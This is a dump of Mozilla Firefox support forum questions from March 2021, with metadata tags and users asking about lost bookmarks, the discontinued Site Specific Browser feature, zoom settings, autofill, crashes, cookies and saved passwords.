product: firefox
topic: bookmarks
locale: en-US
answers: 1396392;
creator: tjs3
content:
<p>In the last month or so it seems when there is a Firefox update I lose my bookmarks.  I can still see them, they just don't work.  I have to delete them and start over again.  This is the third time in roughly three weeks. </p>


created: 2021-03-04T09:51:18-08:00
updated: 2021-03-04T09:51:18-08:00
title: Site Specific Browser isn't working anymore
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
creator: ernestoiglesias91
content:
<p>I was very glad with SSB and use it a lot in my workflow but suddenly it stop working in the 86 version update. Now I know that it is no more supported and I started a dangerous practice of installing 85 version and omit updates (in fact this is not too useful because I accidentally update my firefox two times and have to manually reinstall the 85 version). I now this was an experiment but is a shame they stop supporting this kind of progress. My question is, is there an alternative to SSB currently implemented? Which is the closer form of such experience that can I get from command line? I mean: features like new window, no toolbars, independent (no open links in the tabs of previously opened window), could it be resources independence too? Thanks you beforehand. </p>


created: 2021-03-04T09:46:44-08:00
updated: 2021-03-05T03:30:38-08:00
title: Search with google
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396458;1396511;
creator: hatedonediscord
content:
<p><strong>Hello!</strong> Is there a way to remove the pinned "Search with google" in toolbar? </p>


created: 2021-03-04T09:35:40-08:00
updated: 2021-03-04T09:35:40-08:00
title: bookmarks, passwords
tags: linux;desktop;bookmarks;firefox-780;
product: firefox
topic: bookmarks
locale: en-US
creator: petro_08332
content:
<p>I updated Firefox, following instructions to save bookmarks and passwords, synching with another device and now it is all gone - no book marks, etc. Is it recoverable? </p>


created: 2021-03-04T09:22:23-08:00
updated: 2021-03-04T10:16:24-08:00
title: Open more than one tab in new window
tags: desktop;beta;tabs;windows-10;firefox-870;
product: firefox
topic: tabs
locale: en-US
answers: 1396371;1396386;
creator: verma.aditya97
content:
<p><strong>bold text</strong> I have a main window where I have pinned some websites and do my main work in. The problem is when I open a New Window (Ctrl+N), in it I cant seem to open more than one tab as all the new tabs get redirected to the main window. </p>


created: 2021-03-04T09:20:36-08:00
updated: 2021-03-04T09:20:36-08:00
title: VPNUK Live Help
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: sandrews9009
content:
<p>I use VPNUK. Until recently, accessing the homepage also gave me a live help option as a popup. Now, when on the homepage, this popup does not appear, even though the page has a popup exception in preferences. I do not have this problem using Safari. Anyone got any ideas? </p><p>Many thanks, Steve Andrews </p>


created: 2021-03-04T09:20:36-08:00
updated: 2021-03-05T07:00:59-08:00
title: autofill non address data
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396505;1396532;
creator: ddavissci
content:
<p>How do I edit non address autofill data?  When I autofill a form, my 1st name comes up correct but last name is all lower case, when I clear the field the Capitalized version is shown.  Next time I use the autofill again the small case version appears.  A similar thing happens with email address. An old email address (from a prior account) is displayed, but I cannot find any way to get rid of the old email address nor correct it.  Everywhere I look on all your instructions, I cannot find any discussion/instructions on how to change <strong>Non Address</strong> Autofill data.  Pleas help as I am getting tired of having to constantly manually change these fileds every time I use autofill.  THANKS!!! </p>


created: 2021-03-04T09:08:53-08:00
updated: 2021-03-04T19:42:57-08:00
title: How to run/open any add-ons ?
tags: windows-7;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396459;
creator: adarsh.pillai.8a
content:
<p><strong>I am not able to figure out on how to open the respective add-ons User Interface. </strong> <strong> </strong> </p> <ul><li> I have installed some add-ons like 'HTTPS Everywhere' , 'Nord vpn' etc... </li><li> When I visit the add-ons tab in the menu section on the upper right section of Firefox, it does not show on how to run it or open it. </li><li> I have been searching this on the internet but couldn't find any information...  </li></ul> <p><strong>Hope the Firefox team will help, </strong> Thank you<strong></strong> </p>


created: 2021-03-04T09:05:20-08:00
updated: 2021-03-04T09:05:20-08:00
title: How can I run/open any add-on ?
tags: windows-7;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: adarsh.pillai.8a
content:
<p><em>[Locked as a duplicate of <a href="https://support.mozilla.org/en-US/questions/1328143" rel="nofollow">https://support.mozilla.org/en-US/questions/1328143</a>. Please follow up there, thanks.]</em> </p><p><br> <strong>I am not able to figure out on how to open the respective add-ons User Interface. </strong> <strong> </strong> </p> <ul><li> Bulleted list itemI have installed some add-ons like 'HTTPS Everywhere' , 'Nord vpn' etc... </li><li> Bulleted list itemWhen I visit the add-ons tab in the menu section on the upper right section of Firefox, it does not show on how to run it or open it.  </li><li> Bulleted list itemI have been searching this on the internet but couldn't find any information... </li></ul> <p><strong>Hope the Firefox team will help, </strong> Thank you<strong></strong> </p>


created: 2021-03-04T09:00:43-08:00
updated: 2021-03-04T09:00:43-08:00
title: Language and spelling check button disabled, how to fix?
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: daphne.esquivel.sada
content:
<p>hello everyone, </p><p><br> </p><p>I'm having a trouble that seems to be frequent lately (see below a former discussion), and that is driving me nuts. </p><p>I've installed my dictionaries, verified the about.config marks, and still the right click for spell check and language choice has disappeared on my outlook 365 web.  </p><p>Curiously, it works perfectly on Outlook 365 web on Chrome, and here in this text box on Firefox. </p><p>Would anyone have a clue how to fix it? (don't want to have to switch browser from Firefox) </p><p><br> </p><p>Thank youé1 Daphne </p><p><br> Antony Tsindos Antony Tsindos Question owner 6/27/17, 1:18 AM </p><p>Thank you for your replies all. I have worked it out. The language packs were installed but not "Unpacked" All OK now. Thanks cor-el cor-el </p><pre>   Top 10 Contributor    Moderator </pre> <p>6/27/17, 6:32 PM </p><p>Language packs (strings for the user interface) do not need to be unpacked, but dictionaries always do need to be unpacked (they have an unpack property), so do not mix up these two. </p><pre>   <a href="https://developer.mozilla.org/en-US/Add-ons/Install_Manifests#unpack" rel="nofollow">https://developer.mozilla.org/en-US/Add-ons/Install_Manifests#unpack</a> </pre>


created: 2021-03-04T08:55:17-08:00
updated: 2021-03-04T08:55:17-08:00
title: "Messages from Firefox" in German whilst browser is in Dutch
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: francois_reincke
content:
<p>Recently, A new bar called "Messages from Firefox" appeared on the bottom of the home screen. Even though my browser and my operating system is in Dutch, the bar is in German. </p><p>Has anyone seen this before? </p>


created: 2021-03-04T08:51:46-08:00
updated: 2021-03-04T08:51:46-08:00
title: Sets of Bookmarks each with multiple tabs
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
creator: bob211
content:
<p>I regularly do repeated tasks in different subject areas, for instance, finance, sports, business, etc..  With each of these, I regularly go to a standard set of sites in different tabs.   </p><p>How in Firefox can I create  sets of tabs such that all I need to do is click on one, Finance, for instance, and have it automatically open the set of tabs that I saved in that set?  So, then I could open Sports, and just see the regular set of tabs that I  saved for that topic. </p><p>In other words, using different instances of Firefox, I could open different sets of tabs without having to open those tabs individually every time. </p>


created: 2021-03-04T08:41:58-08:00
updated: 2021-03-07T05:10:05-08:00
title: PNC Bank Corporation On-Line Banking Website
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396923;
creator: savaskys
content:
<p>The Firefox Web Browser no longer works on the  PNC Bank Corporation Website. I got an error message that came from the Bank's server.  Firefox works in the past but now it does not. </p><p>I was told by a PNC Banker in a local branch office  that I should use either Edge or Chrome. I used Edge and it did indeed work. </p><p>I am using a fully updated version of Firefox Version 86 on Windows 10. </p>


created: 2021-03-04T08:22:29-08:00
updated: 2021-03-04T08:22:29-08:00
title: Can't take full screen screenshots after upgrading to 86.0
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: kpost
content:
<p>Can't take full screen screenshots after upgrading to 86.0 without app freezing up. Have to force quit to continue. </p><p>I've not changed any settings since the upgrade restart. </p><p>Using the ellipse function in the address bar as usual. </p><p>Thanks. </p>


created: 2021-03-04T08:08:48-08:00
updated: 2021-03-04T08:08:48-08:00
title: Tabs crash, then I can't restart Firefox
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
creator: gregg.pearlman
content:
<p>Hi: </p><p>Just installed Firefox on Windows 10. When the installation finishes, the browser window shows two tabs, both crashed. Trying to access any URL also results in a crashed tab. </p><p>If I quit Firefox at that point, then attempt to restart the program, I'll get the spinning circle for a few moments, then nothing -- it just won't run again. The installer file will run again, but I'll get the same results. </p><p>Thoughts? </p><p>Thanks, </p><p>Gregg </p>


created: 2021-03-04T08:03:13-08:00
updated: 2021-03-07T05:11:51-08:00
title: Firefox, webmail email, unable to send/reply or forward any new emails
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396924;
creator: lexxy_703
content:
<p>until yesterday afteroon all was working ok, but now i can't reply/forward or send any new email.  No error message at all, just clicking relevant option does nothing at all. </p><p>Only firefox browser affected &amp; webmail account working fully on other browsers.  Help!  thanks </p>


created: 2021-03-04T07:49:36-08:00
updated: 2021-03-04T07:49:36-08:00
title: Cross site cookies and Facebook
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: monica211
content:
<p>All of a sudden I am getting an icon in the Facebook URL re: cross site cookies.  When  I click on it, it says permission granted.  I never approved this.  How do I get rid of it please? </p>


created: 2021-03-04T07:10:24-08:00
updated: 2021-03-04T09:48:16-08:00
title: Lost Bookmarks.
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396378;1396379;1396380;
creator: eric.fulton54
content:
<p>Every time I upgrade Firefox, my Bookmarks disappear. </p><p>Could you plase tell me how to get them back and prevent this happening in the future. </p><p>Thank  you. </p>


created: 2021-03-04T07:08:16-08:00
updated: 2021-03-05T20:01:58-08:00
title: Can't access my Amazon Prime store card account
tags: windows-7;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396645;
creator: Daddyo37
content:
<p>Can't access my Amazon Prime store card account.  After login it goes to a blank screen at <a href="https://amazon.syf.com/eService/AccountSummary/initiateAccSummaryAction.action" rel="nofollow">https://amazon.syf.com/eService/AccountSummary/initiateAccSummaryAction.action</a>.  Chrome works fine with same login. </p>


created: 2021-03-04T06:57:04-08:00
updated: 2021-03-04T12:47:46-08:00
title: Why spellchecker red underline is now so bold?
tags: windows-7;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396365;1396366;1396409;
creator: djik
content:
<p>Hello, </p><p>See on the joined image, older Firefox and last one. When this is a text in another language like this, this is ugly, and even on usual language, I'm not blind, I can see the old lighter underline! </p><p>Why this? Can I change it maybe in userChrome.css? </p>


created: 2021-03-04T06:39:47-08:00
updated: 2021-03-05T19:21:40-08:00
title: Zoom Function
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396485;1396526;1396592;1396643;
creator: chcolter
content:
<p>I am older and use the zoom function on many web pages. After this last update the Zoom function seems to be broken.  I Zoom to 133% for a more comfortable read on a news site (Guardian)... go into the article and have to zoom again. Go back to the home page and it is fine until it finishes reloading and it snaps back to original size.  Have to zoom again.  None of these zoom setting remain consistantly.  This has only become an issue since I restarted Firefox to install the last update. </p>


created: 2021-03-04T06:36:36-08:00
updated: 2021-03-04T06:36:36-08:00
title: Firefox freezes after waking from sleep on M1 Mac
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: vstouch
content:
<p>Hi Guys, </p><p>I have a problem when I'm waking up PC from sleep mode. Please help me if you have ideas or solutions. </p><p>In my case, Firefox doesn't accept any action (scroll, click). The only solution is terminate Firefox by cmd+Q shortcut,  and after restart, it works properly. </p><p>I can see same problem with my Mac Mini M1 and Macbook Air M1,  but it didn't happen on Intel Macbook Pro. </p><p>Here's my environment, </p><p>OS:Mac OS Big Sur 11.2.2 Firefox:86.0 Display:Dell Q3219U Connection:USB-C to USB-C or USB-C to Displayport </p><p>Thanks in advance, </p>


created: 2021-03-04T06:10:36-08:00
updated: 2021-03-04T06:34:38-08:00
title: Whenever I try to open live server in visual studio code, firefox crashed popop appears.
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396347;
creator: anuraghtimalsina
content:
<p>My report ID is :    bp-300cca66-496a-4571-828e-29fe60210304 </p><p>please help me with this I cannot run any files because of this. </p>


created: 2021-03-04T06:05:34-08:00
updated: 2021-03-04T09:50:44-08:00
title: My facebook id can not use with firefox. So I want to comfortable for using website
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396382;
creator: apruchingmarma07
content:
<p><em>My Facebook id can not use with Mozilla Firefox. So I want to comfortable for using website'</em> </p>


created: 2021-03-04T05:55:50-08:00
updated: 2021-03-04T05:55:50-08:00
title: Update Firefox from Windows Command Line
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
creator: go4spam
content:
<p>Dear all Maybe, someone is able to help me out here: </p><p>We're supporting several companies with the following setup: User's are working with an office computer. However, they are also able to work from home via VPN and RDP. Folder redirection is enabled and directs to a network drive. </p><p>Since Firefox usually only updates while the application is running, we regularly face the issue where the Firefox profile wasn't able to load on the office PC because it was opened with a more actual version (the one from the Remote Desktop server) earlier. </p><p>Is there a way to update Firefox without launching the application first? Preferably from command line so it could become part of the logon script? All I found which looks helpful is the section "Service Command Line Parameters" in <a href="https://wiki.mozilla.org/Windows_Service_Silent_Update" rel="nofollow">https://wiki.mozilla.org/Windows_Service_Silent_Update</a>. However, I wasn't able to get it working so far. </p>


created: 2021-03-04T05:54:27-08:00
updated: 2021-03-04T07:03:41-08:00
title: Process Limit Option
tags: windows-7;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396354;
creator: riqidelaplaya
content:
<p>I set process limit to 1. Firefox runs 5+. Pray tell what does setting the process limit do exactly? Also Firefox says it sets the process limit automatically to optimize system specs. I've installed FF on machines with specs ranging from low budget build to godbox yet it always defaults to 4 processes. Then runs more. Is it all BS? Do tell please? (Searched Support for these topics. Gave up after 10 pages. Appologies if they're redundant) </p>


created: 2021-03-04T05:35:25-08:00
updated: 2021-03-04T05:35:25-08:00
title: Sorry. We’ve locked your account.
tags: desktop;sync;windows-10;firefox-860;
product: firefox
topic: sync
locale: en-US
creator: nekin
content:
<p>I'm getting below error when I'm trying to login firefox sync account. All problems started When I changed my laptop and instaled new firefox. Nothing else has changed. </p> <hr> <p>The confirmation email we sent to nibu@nXXXXopfXXXliX.com was returned and we’ve locked your account to protect your Firefox data. </p><p>If this is a valid email address, let us know and we can help unlock your account. </p> <hr> <p>is someone can you please help me?, Thanks </p>


created: 2021-03-04T04:42:12-08:00
updated: 2021-03-04T10:23:40-08:00
title: Proxy
tags: desktop;privacy-and-security_1;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396339;1396343;
creator: ro44anov2l
content:
<p>Я купил прокси на сайте <a href="http://Proxy6.com" rel="nofollow">Proxy6.com</a> и при заходе на сайт или поиска в поисковике у меня появляется такая проблема P.S прокси валиден I bought a proxy on the site <a href="http://Proxy6.com" rel="nofollow">Proxy6.com</a> and when you go to the site or search in the search engine I have this problem  P. S proxy is valid </p>


created: 2021-03-04T04:38:41-08:00
updated: 2021-03-04T20:49:16-08:00
title: factory reset
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396342;1396349;1396484;
creator: mamiafaka
content:
<p>Hi, I have reset my laptop and reinstalled firefox, but all my data is gone, can you help me recover my bookmarks and passwords saved on my firefox account </p>


created: 2021-03-04T04:31:36-08:00
updated: 2021-03-04T04:31:36-08:00
title: Mac keyboard text replace
tags: mac-os;desktop;beta;tips;firefox-870;
product: firefox
topic: tips
locale: en-US
creator: fatihbulut
content:
<p>Hi, I just switched from Chrome to Firefox. Everything is fine except this feature. </p><p>On Mac, you can set a text replacement in System Preferences &gt; Keyboard &gt; Text and use it in any input in any programs. It works with Chrome and other programs that have an input field. Unfortunately, it doesn't work in Firefox :/ Is it possible to implement this? I would love to see this feature in Firefox. </p><p>I saw there are some Add-on for this, but I don't want to use them as there is already a feature in Mac. </p><p>I added an example screenshot. When I type "mymail", it automatically suggest what I set up before. </p><p>Thanks, best wishes. </p>


created: 2021-03-04T04:24:39-08:00
updated: 2021-03-06T03:31:54-08:00
title: Characters with accents are displayed wrong (�)
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396340;1396480;1396660;
creator: koert.vynckier
content:
<p>When I visit "<a href="http://elofootball.com" rel="nofollow">elofootball.com</a>" with Firefox, "Atlético" is shown as "Atl�tico". When the page is not yet completely loaded Atlético is shown correctly for a brief moment (first screenshot without country flags). After the flags are displayed "Atlético" becomes "Atl�tico" (second screenshot with country flags). So it doesn't seem like the characters themselves aren't supported by the browser because Firefox can display them, just not once the flags are displayed as well. </p><p>Edge and Chrome do not have this problem, they just show the page like you'd expect without the � in the place of characters with accents. Any idea what might be causing this and can it be fixed? </p>


created: 2021-03-04T04:21:36-08:00
updated: 2021-03-10T12:36:34-08:00
title: Suddenly Firefox created an extra empty window which cannot be closed
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396523;1397859;
creator: Hero27
content:
<p>I guess it was the update to Firefox v. 86.0 here on Ubuntu that made Firefox create an extra empty window beside the session I always (re)open, which contains a large amount of tabs.  When I try to close the empty window Firefox gives a warning, that this will close my (many) tabs. That doesn't make much sense to me.  And when another app, like Thunderbird, opens an URL, it is opened in the new empty window. I can add that I use some add-ons like Simple Tab Groups, Vertical Tabs Reloaded, AdBlock Plus and NoScript. </p>


created: 2021-03-04T04:15:11-08:00
updated: 2021-03-04T04:41:31-08:00
title: drukowanie
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396336;1396338;
creator: bmakowiec
content:
<p>witam, jak można ustawić domyślny sposób drukowania za pomocą okna systemowego pozdrawiam Bogdan </p>


created: 2021-03-04T04:08:11-08:00
updated: 2021-03-07T14:03:12-08:00
title: How to prevent "Accept cookies from Facebook on this browser?" message from appearing.
tags: windows-7;desktop;cookies;firefox-860;
product: firefox
topic: cookies
locale: en-US
answers: 1396746;1397043;1397054;
creator: Xeys
content:
<p>Everytime I go to facebook before I sign in a grey overlay appears on the sign in page and when I scroll down this message appears. I'm getting tired of it. Does anyone know how I can bypass all this and sign straight in like I used to be able to. I also find it strange that I seem to be the only person experiencing this as when I search for similar instances I get nothing. This started about a week ago, I have to press 'accept all' all the time, why can't this be automatic. Thanks for any help. </p>


created: 2021-03-04T03:59:00-08:00
updated: 2021-03-04T12:48:46-08:00
title: Can I prevent Firefox from resizing the date selection control on data entry webpages?
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396411;
creator: joshua19
content:
<p>Using an online accounting website, data entry is done through a data grid with a data control.  </p><p>The accounting software allows for the option to use their own date selection control or to use the Firefox date selection control. I don't like the software's date selection control, I prefer Firefox's. However, when set to the Firefox date selection control AND if the fields in the data entry grid get wider than the screen, Firefox shrinks the date selection control to practically nothingness and the value in the control cannot be seen. </p><p>Is there something I can do stop Firefox from doing this? </p><p>I've attached an image containing  1. the data entry grid 2. the Firefox date selection control when the data entry grid is wider than the screen 3. the software date selection control when the data entry grid is wider than the screen </p>


created: 2021-03-04T03:29:27-08:00
updated: 2021-03-12T20:13:55-08:00
title: ¡Bienvenido a SUMO! Giulia y Kiki Gerentes de comunidad SUMO
tags: desktop;privacy-and-security_1;needsinfo;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: es
answers: 1396810;1397156;1397282;1397460;1398390;
creator: jlcoloso
content:
<p>He recibido un mensaje de Gerentes de comunidad SUMO Giulia y Kiki. Ya me gustaría saber tanto como para ayudar. Solo quiero ayuda para mí; pues me dicen esto: 'Este error es muy común cuando utilizamos como navegador Mozilla Firefox, ya que cuando instalamos un certificado utilizando el asistente de instalación, hay veces que los certificados digitales se instalan en el almacén del sistema operativo (con el que trabajan Internet Explorer y Chrome) pero no lo instala en el almacén de Mozilla Firefox (tiene su almacén particular) por lo que tenemos que proceder a instalar el certificado de forma manual utilizando “importar certificado” en la sección “Certificados” de Mozilla Firefox.? ¿Me podríais ayudar? &lt;REDACTADO&gt;@hotmail.com </p>


created: 2021-03-04T03:09:39-08:00
updated: 2021-03-07T05:14:52-08:00
title: On my Ubuntu machine suddenly Firefox crashes during startup.
tags: desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396926;
creator: andries1
content:
<p>Hi Guys, </p><p>Firefox crashes during startup, also after reinstallation: See also attached debug trace report. </p><p>AdapterDeviceID: 0x0126 AdapterDriverVendor: mesa/i965 AdapterDriverVersion: 20.2.6.0 AdapterVendorID: 0x8086 AvailablePageFile: 0 AvailablePhysicalMemory: 1909657600 AvailableSwapMemory: 1341628416 AvailableVirtualMemory: 2730065920 BuildID: 20210222142601 CrashTime: 1614854965 DesktopEnvironment: gnome EMCheckCompatibility: true FramePoisonBase: 9223372036600930304 FramePoisonSize: 4096 InstallTime: 1614630401 IsWayland: 0 IsWaylandDRM: 0 MozCrashReason: OOB Notes: Ubuntu 20.04.2 LTSFP(D00-L1000-W00000000-T000) WR? WR- OMTP? OMTP- ProductID: {ec8030f7-c20a-464f-9b0e-13a3a9e97384} ProductName: Firefox ReleaseChannel: release SafeMode: 1 SecondsSinceLastCrash: 47923 StartupCrash: 1 StartupTime: 1614854964 ThreadIdNameMapping: 15159:"IPC I/O Parent",15160:"Timer",15161:"Netlink Monitor",15162:"Socket Thread",15163:"Permission",15166:"JS Watchdog",15167:"JS Helper",15168:"JS Helper",15169:"JS Helper",15170:"JS Helper",15172:"Cache2 I/O",15173:"Cookie",15174:"StreamTrans #1",15175:"DOM Worker",15176:"IPDL Background",15177:"StreamTrans #2",15178:"QuotaManager IO",15179:"IndexedDB #1",15180:"Worker Launcher",15181:"SoftwareVsyncThread",15182:"Compositor", Throttleable: 1 TotalPageFile: 6182121472 TotalPhysicalMemory: 4034641920 UptimeTS: 1.37918001 Vendor: Mozilla Version: 86.0 </p><p>This report also contains technical information about the state of the application when it crashed. Thanks in anticipation Andries </p>


created: 2021-03-04T02:47:11-08:00
updated: 2021-03-04T03:08:51-08:00
title: Notes Missing?
tags: desktop;sync;windows-10;firefox-860;
product: firefox
topic: sync
locale: en-US
answers: 1396330;
creator: richard4911
content:
<p>I opened Notes in Firefox to find that they weren't there any more, just the page explaining how to use Notes. </p><p>I had some valuable information in there any can't find a way to get the notes back. </p><p>Maybe you know how to? </p>


created: 2021-03-04T01:34:32-08:00
updated: 2021-03-04T01:34:32-08:00
title: Can you set different search engines for the address bar and search bar?
tags: desktop;tips;windows-10;firefox-860;
product: firefox
topic: tips
locale: en-US
creator: edwardgibson50
content:
<p>For example, I want to have Duckduckgo in the address bar, and Google in the search bar. Is there a way to do this? I know in both bars there is the option "This time search with:" that is good and all, but is there a way to make it permanatly one of those options depending on the search or address bar? If not, I would like to recommended Firefox adds this, as I think it would be very useful for many users. </p><p>Thanks. </p>


created: 2021-03-04T01:29:45-08:00
updated: 2021-03-04T01:29:45-08:00
title: Lost bookmarks after update
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
creator: amanda.avery77
content:
<p>After the Firefox and Windows updated I've lost bookmarks from the last 4 months. I have majority of my bookmarks on the bookmark toolbar just not the recent ones. Firefox old data only goes back to Sept 2020. Even the restore points doesn't have the recent ones. I had them on my android but I couldn't get them to sync to the desktop so I uninstalled Firefox on my android and now I don't have the updated ones there anymore. </p>


created: 2021-03-04T00:34:42-08:00
updated: 2021-03-04T00:34:42-08:00
title: Sound
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: bp1972
content:
<p>Não consigo ouvir qualquer som nos videos que passam no Mozilla. No Google Chrome consigo. Já reinstalei o motor de busca mas continua na mesma. </p>


created: 2021-03-04T00:26:35-08:00
updated: 2021-03-04T00:26:35-08:00
title: Bestand - afdrukvoorbeld
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: wim.meul
content:
<p>Beste, </p><p>Ik print heel vaak.  De laatste twee weken krijg ik geen "afdrukvoorbeeld" meer bij "bestand".  Dat was zeer handig aangezien men dan een pagina kreeg van de betrokken webpagina die toeliet om ook de afdruk te vereenvoudigen (grootte tekst, weghalen vermelding datum, naam pagina, ...). </p><p>Hoe krijg ik dat terug ? </p>


created: 2021-03-04T00:02:55-08:00
updated: 2021-03-04T09:48:36-08:00
title: downloads
tags: desktop;fix-problems;windows-10;firefox-840;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396333;1396364;1396375;1396381;
creator: harry.cattoir
content:
<p>Hello, Is this the end of firefox for me? I am a chess fan and download chessgames from this site. I log in on the chessbase site and OK. But suddenly this doesn't work anymore!! Strange because with microsoft edge it works!! Greetings  harry </p>


created: 2021-03-03T23:23:54-08:00
updated: 2021-03-04T03:12:33-08:00
title: When I open tiktok.com the browser freeze . I use firefox 55 version
tags: desktop;fix-problems;needsinfo;firefox-550;unresponsive-script;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396321;1396322;1396332;
creator: ace.kimi
content:
<p>Hi. </p><p>when i try to open <a href="http://tiktok.com" rel="nofollow">tiktok.com</a> the browser freeze and after some time show this pop-up " Warning:Unresponsiv script </p><p>A script on this page may be busy, or it may have stopped responding. You can stop the script now, open the script in the debugger, or let the script continue. </p><p>Script: https://sf16-scmcdn-va.ibytedt…s/main-530cd1b5236584ded3f3.js:1 " When i click stop script after that i can't use the site and if i click continue after some time the same error show again. </p><p>please can you help me resolve this issue . </p><p>thanks </p>


created: 2021-03-03T22:28:48-08:00
updated: 2021-03-12T00:19:37-08:00
title: Firefox browser times out when searching or using favourites sites
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396334;1397954;1397964;1398182;
creator: wazzasmail
content:
<p>Hi When I try to access websites I usually get a time out message, this seems to happen to all sites now. I have recently purchased a new HP laptop but I had the same issue with my old laptop. Edge loads fast and I have no issues with it but would prefer Firefox. </p><p>I use a windows 10 machine </p>


created: 2021-03-03T21:38:32-08:00
updated: 2021-03-07T03:58:59-08:00
title: Making right-click behave as it does in Chrome.
tags: mac-os;desktop;beta;customize;firefox-870;
product: firefox
topic: customize
locale: en-US
creator: gacha.gacha
content:
<p>Hello, I have wanted to move from Chrome to Firefox for some time and I finally got to try it out today. Something that has bothered me since the beginning is that right clicking when the cursor hovers over text behaves differently than I'm used to. </p><p>This is the behavior I want: </p> <ol><li> User action: With the cursor over text. </li><li> User action: Right click / double click if in Mac </li><li> Browser action: The word that the cursor is hovering should be automatically selected and the appropriate actions (copy, select all, search…, etc.) should appear in the contextual menu. </li></ol> <p>Instead of those options in the contextual menu, the normal page options are appearing (Save Page As, View Page Source…). </p><p>Where do I change this behaviour? </p><p>Additionally, how can I make the contextual menu include the «Look Up "foo"» option as it does in Chrome (Mac)? </p><p>PS: check the names of the images; basically: Chrome; Firefox-what-I-get; Firefox-what-I-want </p>

answers:
1396775;1396776;1396777;1396779;1396780;1396781;1396783;1396791;1396794;1396888;1396890;1396894;1396905;


created: 2021-03-03T20:45:58-08:00
updated: 2021-03-07T16:38:34-08:00
title: Firefox won't show current website login password like it used to.
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396939;1397039;1397046;1397102;
creator: alanduq
content:
<p>When logging on to a website it used to be possible to show the current password that is automatically being input.  That is no longer possible it seems so now you have to search the passwords for that website to locate it and then display it that way.  But many times the current website is not saved under an obvious name.  This makes it next to impossible to locate what used to be right in front of you (current website logon password).  The worst is my current case where you lose your gmail password and try to locate it with a search of the passwords but since gmail address is the user name for 100's of websites there are 100's of results to try to find the gmail password.   When it comes to Microsoft website there is zero results to Microsoft in the Firefox password search even though Firefox easily logs me in.  Why did Firefox stop allowing the user to see the current password being input to websites.  if they did not stop that access then I do not know how to do it anymore.  Used to be a simple right click on the password field.  Then you could go direct to the password manager location of that website. </p>


created: 2021-03-03T20:24:22-08:00
updated: 2021-03-03T22:09:47-08:00
title: websites saying my browser needs to be updated but it already is
tags: desktop;other;windows-10;firefox-780;
product: firefox
topic: other
locale: en-US
answers: 1396315;
creator: persistedsphinx
content:
<p>sometimes when i go to certain sites i use often, it says i need to update my browser to use certain features, but i already did update my browser to the latest update, apparently many websites keep saying im still in firefox 78 when i try to update it says its already updated to the latest version, is there any way to fix this without reinstalling firefox. </p>


created: 2021-03-03T20:06:59-08:00
updated: 2021-03-03T20:06:59-08:00
title: Is it safe to delete all the "app.normandy" prefs or set them to false? If not, which ones?
tags: desktop;download-and-install_1;windows-10;firefox-840;
product: firefox
topic: download-and-install
locale: en-US
creator: plew29881
content:
